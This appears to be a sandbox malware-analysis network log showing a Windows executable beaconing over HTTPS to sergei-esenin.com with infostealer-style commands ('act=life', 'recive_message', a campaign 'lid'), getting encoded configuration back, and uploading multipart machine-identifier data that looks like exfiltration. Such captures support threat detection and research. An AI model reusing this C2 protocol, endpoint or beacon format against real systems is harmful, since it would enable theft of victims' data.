2024-10-24 09:02:16 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-24 09:02:16 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-24 09:02:16 UTC	564	IN	HTTP/1.1 403 Forbidden Date: Thu, 24 Oct 2024 09:02:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hqNgSJF1i9W%2FWgVCGnIKU%2BTuKvAu8YLE2ERukdjUT%2FJPn%2FGQR1MOw83DLlzbZosWNodUrTnkeREn7Gf0RguEPuob6wLRzlyiS5No8EcLrPOTfJLtZ%2Fbw8vSGboXHddJopEesIA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d78c97909b2e93a-DFW
2024-10-24 09:02:16 UTC	805	IN	Data Raw: 31 31 35 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1154<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-24 09:02:16 UTC	1369	IN	Data Raw: 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d Data Ascii: n-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElem
2024-10-24 09:02:16 UTC	1369	IN	Data Raw: 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ccess-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain">
2024-10-24 09:02:16 UTC	901	IN	Data Raw: 30 2e 37 31 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 Data Ascii: 0.71</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-la
2024-10-24 09:02:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49713	104.21.53.8	443	1832	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:02:17 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=ZeVofJCvbYJx4w1v9LQzFfnM4psIeOy0iqXKwi7CoAk-1729760536-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: sergei-esenin.com
2024-10-24 09:02:17 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-24 09:02:17 UTC	1010	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:02:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=msgp2jq7nj30luekkfsq1n1426; expires=Mon, 17 Feb 2025 02:48:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6hJy0R5UstGPmZtLS9ViHnp01LBO7N8sw0Xt3YYcUUbMHGSsBvnsUMGEiC4uy17wDGXriD9IPDTgupivpc52llE30N16fychDM8ZnTXlFIvkjFRytdTMZhqRYU1HyXNiOkU44A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d78c97fffb26b9a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1026&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=1042&delivery_rate=2985567&cwnd=226&unsent_bytes=0&cid=14571986eec24c31&ts=338&x=0"
2024-10-24 09:02:17 UTC	359	IN	Data Raw: 63 62 65 0d 0a 56 42 55 6d 47 4e 34 44 35 46 37 6d 52 45 41 63 44 58 6a 77 62 6f 32 59 6d 4d 33 36 31 47 51 56 6a 33 30 70 4d 4e 47 72 71 47 67 76 4e 31 41 36 35 44 66 49 66 4a 55 68 59 69 5a 35 43 6f 55 4c 6f 62 72 35 71 64 6a 75 41 6e 54 6a 44 6b 77 63 38 39 33 46 53 6d 35 7a 52 33 53 74 5a 73 68 38 67 7a 78 69 4a 6c 59 44 30 67 76 6a 75 71 4c 76 6e 37 34 47 64 4f 4d 66 53 46 75 2b 32 38 51 4c 50 48 6c 42 63 4c 74 67 67 44 2b 4b 4b 53 56 35 61 42 6d 61 41 4f 54 31 38 4b 44 59 2b 45 5a 77 39 56 38 54 45 70 7a 4f 33 41 6b 5a 64 46 56 7a 2f 48 37 49 4a 63 51 68 4c 6a 34 33 57 70 45 4c 37 2f 54 2b 71 5a 47 38 44 48 33 72 48 6b 31 61 6f 63 4c 4f 41 44 78 33 51 6e 47 78 61 5a 51 79 67 43 34 75 66 32 49 5a 30 6b 4b 76 2f 65 4c 76 77 50 5a 56 52 65 34 4f 57 6b Data Ascii: cbeVBUmGN4D5F7mREAcDXjwbo2YmM361GQVj30pMNGrqGgvN1A65DfIfJUhYiZ5CoULobr5qdjuAnTjDkwc893FSm5zR3StZsh8gzxiJlYD0gvjuqLvn74GdOMfSFu+28QLPHlBcLtggD+KKSV5aBmaAOT18KDY+EZw9V8TEpzO3AkZdFVz/H7IJcQhLj43WpEL7/T+qZG8DH3rHk1aocLOADx3QnGxaZQygC4uf2IZ0kKv/eLvwPZVRe4OWk
2024-10-24 09:02:17 UTC	1369	IN	Data Raw: 30 70 65 33 30 52 6d 77 48 69 2b 76 65 6c 6c 37 55 47 63 4f 63 56 52 46 69 33 78 4d 63 4d 4e 6e 63 45 4e 50 78 6d 6e 6e 7a 63 5a 67 46 37 66 78 32 65 47 71 33 41 75 72 44 57 72 30 5a 77 34 56 38 54 45 72 76 4d 79 51 6b 39 65 45 64 79 74 33 4f 47 4c 6f 49 72 4a 32 78 70 48 35 77 47 37 4f 6a 77 6f 5a 36 31 44 33 7a 6b 47 6b 78 57 38 34 65 4b 44 53 34 33 48 44 71 64 62 49 30 77 6a 6a 45 69 50 6e 42 55 69 30 7a 6f 39 72 72 33 32 4c 49 48 63 2b 77 62 52 56 79 33 78 63 77 45 4f 33 68 43 63 4c 78 6d 6a 44 53 4d 4a 79 39 31 59 42 71 58 41 65 76 38 39 71 36 64 39 6b 67 33 36 67 63 4c 43 76 50 6e 7a 51 6b 6b 4e 58 46 35 73 6d 2b 42 4b 73 51 35 62 47 63 76 48 5a 35 4d 74 37 72 30 71 70 65 6b 42 32 58 6f 45 56 6c 65 74 73 2f 48 43 54 68 33 51 58 32 78 62 34 41 37 68 Data Ascii: 0pe30RmwHi+vell7UGcOcVRFi3xMcMNncENPxmnnzcZgF7fx2eGq3AurDWr0Zw4V8TErvMyQk9eEdyt3OGLoIrJ2xpH5wG7OjwoZ61D3zkGkxW84eKDS43HDqdbI0wjjEiPnBUi0zo9rr32LIHc+wbRVy3xcwEO3hCcLxmjDSMJy91YBqXAev89q6d9kg36gcLCvPnzQkkNXF5sm+BKsQ5bGcvHZ5Mt7r0qpekB2XoEVlets/HCTh3QX2xb4A7h
2024-10-24 09:02:17 UTC	1369	IN	Data Raw: 76 48 5a 35 4d 74 37 72 32 70 70 69 39 44 48 50 74 47 45 5a 58 73 4d 37 4a 42 7a 46 39 53 6e 32 34 62 59 38 78 67 69 59 6c 65 6d 6f 49 6c 77 58 6a 39 72 72 68 32 4c 45 65 4e 37 56 66 5a 46 57 6c 79 75 55 4a 4a 33 34 45 5a 66 4a 34 78 6a 75 49 5a 6e 6f 2b 61 42 2b 61 42 2b 6e 79 2b 72 32 64 75 41 31 32 35 78 6c 4b 58 37 2f 50 79 67 73 32 63 55 68 36 75 32 61 55 4c 6f 45 67 4d 48 51 76 56 4e 49 4c 39 37 71 69 37 36 36 6d 45 57 62 37 58 58 35 52 76 63 66 4e 48 48 5a 6f 43 6d 50 38 5a 6f 70 38 33 47 59 70 66 6d 4d 64 6d 67 72 72 38 76 57 67 6b 61 51 48 65 2b 4d 4e 54 46 4b 36 78 38 55 47 50 33 70 44 64 37 64 72 69 7a 69 44 4a 32 49 77 4c 78 32 4b 54 4c 65 36 7a 4c 2b 56 75 69 68 38 34 52 59 4c 54 66 33 51 69 67 30 36 4e 78 77 36 75 47 32 4f 4e 6f 73 76 4b 48 Data Ascii: vHZ5Mt7r2ppi9DHPtGEZXsM7JBzF9Sn24bY8xgiYlemoIlwXj9rrh2LEeN7VfZFWlyuUJJ34EZfJ4xjuIZno+aB+aB+ny+r2duA125xlKX7/Pygs2cUh6u2aULoEgMHQvVNIL97qi766mEWb7XX5RvcfNHHZoCmP8Zop83GYpfmMdmgrr8vWgkaQHe+MNTFK6x8UGP3pDd7driziDJ2IwLx2KTLe6zL+Vuih84RYLTf3Qig06Nxw6uG2ONosvKH
2024-10-24 09:02:17 UTC	172	IN	Data Raw: 43 75 43 36 74 4f 2b 66 72 6b 59 76 72 54 42 73 5a 2f 48 6f 38 45 6f 70 4f 56 30 36 75 32 33 47 5a 4d 51 71 49 58 4a 6e 46 5a 51 46 34 2f 44 7a 70 4a 53 39 41 6e 76 6b 47 6b 31 54 74 73 7a 4c 44 6a 70 39 51 6e 6d 2f 62 6f 6b 7a 6a 47 5a 73 50 6d 67 43 30 6c 53 76 33 2b 32 6b 6c 72 42 47 61 4b 4d 47 43 31 57 2f 69 5a 4a 4b 4f 6e 35 43 66 4c 6c 74 68 7a 71 4d 49 79 70 36 62 68 79 55 44 2b 44 2b 2f 36 36 58 73 67 70 35 35 78 35 4b 58 72 6a 47 77 51 39 32 4f 51 52 39 70 43 48 65 66 4c 55 6c 4e 47 6c 2f 46 74 0d 0a Data Ascii: CuC6tO+frkYvrTBsZ/Ho8EopOV06u23GZMQqIXJnFZQF4/DzpJS9AnvkGk1TtszLDjp9Qnm/bokzjGZsPmgC0lSv3+2klrBGaKMGC1W/iZJKOn5CfLlthzqMIyp6bhyUD+D+/66Xsgp55x5KXrjGwQ92OQR9pCHefLUlNGl/Ft
2024-10-24 09:02:17 UTC	1369	IN	Data Raw: 33 37 61 65 0d 0a 49 54 6f 65 4f 36 71 4a 54 32 58 6a 66 73 44 55 46 59 76 63 7a 46 44 7a 56 34 51 33 65 36 62 59 77 31 6a 43 41 74 64 33 30 5a 6e 67 4c 6f 39 50 61 68 6c 62 77 46 65 71 31 52 43 31 57 72 69 5a 4a 4b 47 6e 42 4a 56 4c 64 74 67 58 79 62 61 44 73 2b 61 42 62 53 56 4b 2f 32 38 4b 4f 52 74 67 39 79 35 52 52 43 56 37 4c 43 7a 77 6b 77 65 6b 74 7a 72 6d 75 46 4d 6f 63 71 4c 6e 68 75 47 59 41 45 35 72 71 30 37 35 2b 75 52 69 2b 74 50 6b 56 66 70 38 37 61 53 69 6b 35 58 54 71 37 62 63 5a 6b 78 43 55 6a 63 57 77 62 6e 77 72 6d 38 76 71 70 6e 62 6b 4c 65 65 6f 59 53 31 2b 39 78 73 77 43 4f 33 74 50 64 4c 56 6e 68 6a 32 4f 5a 6d 77 2b 61 41 4c 53 56 4b 2f 4b 2b 61 2b 59 72 55 5a 6f 6f 77 59 4c 56 62 2b 4a 6b 6b 6f 6b 66 55 31 36 76 32 36 42 4f 49 38 Data Ascii: 37aeIToeO6qJT2XjfsDUFYvczFDzV4Q3e6bYw1jCAtd30ZngLo9PahlbwFeq1RC1WriZJKGnBJVLdtgXybaDs+aBbSVK/28KORtg9y5RRCV7LCzwkwektzrmuFMocqLnhuGYAE5rq075+uRi+tPkVfp87aSik5XTq7bcZkxCUjcWwbnwrm8vqpnbkLeeoYS1+9xswCO3tPdLVnhj2OZmw+aALSVK/K+a+YrUZoowYLVb+JkkokfU16v26BOI8
2024-10-24 09:02:17 UTC	1369	IN	Data Raw: 52 32 45 54 50 43 30 34 2b 2b 66 75 6b 59 76 72 52 35 48 58 62 44 47 79 51 6b 33 66 56 5a 6f 73 47 69 4f 4f 59 67 74 4c 48 68 39 48 4a 30 46 37 50 6e 7a 71 4a 43 36 44 48 54 71 58 77 55 53 74 4e 47 4b 55 6e 5a 55 55 32 71 78 49 5a 6c 79 6e 57 59 6c 63 69 39 43 30 67 54 69 38 76 43 72 6e 37 73 42 63 65 51 4e 51 6c 65 39 79 63 34 42 4f 58 46 41 65 62 78 7a 67 44 69 4d 4a 53 39 7a 59 52 6d 57 54 4b 47 36 2f 62 66 59 37 6b 5a 46 34 42 46 51 58 62 54 59 77 45 6f 70 4f 56 30 36 75 32 33 47 5a 4d 51 69 4c 47 78 6b 47 35 6b 48 34 66 33 31 71 70 4b 32 43 58 50 75 45 55 42 54 73 4d 48 48 42 7a 68 39 54 58 4f 37 62 59 49 37 78 47 68 69 65 58 64 61 79 6b 7a 45 32 39 65 44 6e 36 78 47 61 4b 4d 47 43 31 57 2f 69 5a 4a 4b 4f 6e 35 49 63 4c 64 6d 6a 44 4b 4e 4b 43 6c 73 Data Ascii: R2ETPC04++fukYvrR5HXbDGyQk3fVZosGiOOYgtLHh9HJ0F7PnzqJC6DHTqXwUStNGKUnZUU2qxIZlynWYlci9C0gTi8vCrn7sBceQNQle9yc4BOXFAebxzgDiMJS9zYRmWTKG6/bfY7kZF4BFQXbTYwEopOV06u23GZMQiLGxkG5kH4f31qpK2CXPuEUBTsMHHBzh9TXO7bYI7xGhieXdaykzE29eDn6xGaKMGC1W/iZJKOn5IcLdmjDKNKCls
2024-10-24 09:02:17 UTC	1369	IN	Data Raw: 44 73 2b 76 36 70 6b 62 41 46 63 36 31 52 43 31 57 72 69 5a 4a 4b 47 33 74 44 55 37 74 36 78 69 50 4b 50 32 4a 35 59 31 72 4b 54 4f 37 78 38 4b 43 56 74 51 42 30 35 68 70 42 55 37 54 42 78 78 67 31 65 45 74 2b 76 47 36 41 4f 6f 55 70 4a 48 6c 6d 47 35 6f 4c 72 37 53 36 71 49 44 32 58 6a 66 44 47 45 68 57 38 39 61 45 45 33 5a 77 53 44 72 6b 49 59 59 32 6a 69 77 73 66 6d 67 49 6c 41 58 76 2b 65 69 73 6e 72 34 41 65 2b 45 53 51 31 75 7a 7a 4d 45 48 50 58 70 43 65 72 64 67 78 6e 4c 45 49 54 6f 2b 4e 31 71 6a 41 65 48 2b 39 4b 79 49 73 55 5a 6f 6f 77 59 4c 56 62 2b 4a 6b 6b 6f 35 66 6c 5a 39 75 57 6d 50 50 49 6f 76 4b 33 6c 72 47 5a 4d 49 34 2f 58 7a 72 4a 43 33 44 6e 6a 75 48 30 42 61 75 63 6a 45 44 33 59 35 42 48 32 6b 49 64 35 38 71 79 55 6e 64 57 35 59 74 Data Ascii: Ds+v6pkbAFc61RC1WriZJKG3tDU7t6xiPKP2J5Y1rKTO7x8KCVtQB05hpBU7TBxxg1eEt+vG6AOoUpJHlmG5oLr7S6qID2XjfDGEhW89aEE3ZwSDrkIYY2jiwsfmgIlAXv+eisnr4Ae+ESQ1uzzMEHPXpCerdgxnLEITo+N1qjAeH+9KyIsUZoowYLVb+Jkko5flZ9uWmPPIovK3lrGZMI4/XzrJC3DnjuH0BaucjED3Y5BH2kId58qyUndW5Yt
2024-10-24 09:02:17 UTC	1369	IN	Data Raw: 30 37 34 44 32 58 6a 66 59 48 45 56 63 74 4e 2f 62 52 78 46 74 53 58 79 72 63 4d 5a 79 78 43 42 69 4a 6a 39 55 30 67 6a 2b 75 71 4c 2f 79 75 31 54 4a 4c 70 50 47 55 33 39 30 49 6f 63 64 69 38 57 4e 50 78 7a 78 6d 54 45 59 53 46 73 66 52 79 52 47 75 79 39 78 4a 47 32 73 51 42 79 36 67 38 4a 66 4c 6a 64 7a 55 70 34 4e 30 73 36 35 46 6a 47 64 4d 51 5a 62 44 35 33 57 73 70 4d 32 76 6e 30 6f 5a 2b 67 46 7a 72 44 47 45 31 58 74 4e 6d 49 4a 44 31 6a 51 7a 72 79 49 59 42 38 33 48 5a 73 50 6d 73 4c 30 6c 53 2f 71 4b 48 36 79 2b 46 57 4a 66 4a 52 55 68 4b 6c 69 5a 4a 59 65 44 64 57 4f 75 51 68 77 54 2b 57 4e 43 52 39 65 52 6e 56 4d 74 48 35 37 4b 4b 58 76 51 64 4a 30 7a 46 47 55 37 44 48 69 44 73 67 65 6c 52 35 75 57 61 34 41 6f 6f 68 4e 6e 6c 68 48 4a 4a 4d 6f 62 Data Ascii: 074D2XjfYHEVctN/bRxFtSXyrcMZyxCBiJj9U0gj+uqL/yu1TJLpPGU390Iocdi8WNPxzxmTEYSFsfRyRGuy9xJG2sQBy6g8JfLjdzUp4N0s65FjGdMQZbD53WspM2vn0oZ+gFzrDGE1XtNmIJD1jQzryIYB83HZsPmsL0lS/qKH6y+FWJfJRUhKliZJYeDdWOuQhwT+WNCR9eRnVMtH57KKXvQdJ0zFGU7DHiDsgelR5uWa4AoohNnlhHJJMob
2024-10-24 09:02:17 UTC	1369	IN	Data Raw: 35 45 67 33 36 51 34 4c 43 75 4f 62 6b 56 39 6c 49 42 51 6f 6f 79 2b 66 66 4a 4a 6d 65 69 77 68 57 6f 42 4d 74 37 71 39 72 49 71 6b 41 48 54 37 48 41 78 73 6a 65 37 45 44 54 64 68 56 48 65 77 51 49 55 74 6a 68 67 63 61 32 77 55 6e 41 76 35 36 37 72 68 32 4c 6c 47 4c 39 52 66 41 78 4b 4d 68 34 6f 53 64 69 38 45 54 37 39 76 69 44 75 53 4e 32 39 5a 59 52 32 54 47 76 2f 33 39 6f 36 62 70 77 77 33 6f 31 39 4e 45 75 75 62 68 45 6f 79 5a 67 51 69 37 44 50 64 61 64 64 78 63 69 78 77 56 49 74 4d 2b 62 71 69 2f 64 62 32 46 44 65 31 58 77 78 52 6f 64 76 4d 43 53 42 30 41 30 53 43 52 4a 45 2f 6c 43 41 68 51 46 45 78 6e 67 72 6f 34 50 32 70 76 70 5a 47 4f 61 30 51 43 77 71 4b 69 59 4a 4b 43 54 6b 45 59 76 77 35 78 67 6d 48 4b 43 78 35 65 51 76 66 4b 66 6a 35 36 71 6d Data Ascii: 5Eg36Q4LCuObkV9lIBQooy+ffJJmeiwhWoBMt7q9rIqkAHT7HAxsje7EDTdhVHewQIUtjhgca2wUnAv567rh2LlGL9RfAxKMh4oSdi8ET79viDuSN29ZYR2TGv/39o6bpww3o19NEuubhEoyZgQi7DPdaddxcixwVItM+bqi/db2FDe1XwxRodvMCSB0A0SCRJE/lCAhQFExngro4P2pvpZGOa0QCwqKiYJKCTkEYvw5xgmHKCx5eQvfKfj56qm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49714	104.21.53.8	443	1832	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:02:18 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=ZeVofJCvbYJx4w1v9LQzFfnM4psIeOy0iqXKwi7CoAk-1729760536-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12864 Host: sergei-esenin.com
2024-10-24 09:02:18 UTC	12864	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 45 37 35 33 41 38 39 45 30 37 32 30 32 32 33 41 34 39 45 33 33 44 31 43 31 37 43 31 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CCE753A89E0720223A49E33D1C17C184--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 09:02:19 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:02:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l8gr5i2lefokpkidgi7tel8hmp; expires=Mon, 17 Feb 2025 02:48:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GCc02nPGE59Fq5v7KqCxLBLy2is6RpGxl6RfGmENvbPCaysKntORFTm5%2FM%2FjQGhZOgfojjNN0tKwUpefEe5XNZ2DabOxyX4%2Fp3yPM44O9lV8mr0SV85u5kVPdjBoZuVbAnxhIQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d78c987ce296c57-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1930&sent=8&recv=17&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13894&delivery_rate=1479060&cwnd=251&unsent_bytes=0&cid=6b4747081f3d5138&ts=559&x=0"
2024-10-24 09:02:19 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 09:02:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49716	104.21.53.8	443	1832	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:02:20 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=ZeVofJCvbYJx4w1v9LQzFfnM4psIeOy0iqXKwi7CoAk-1729760536-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15110 Host: sergei-esenin.com
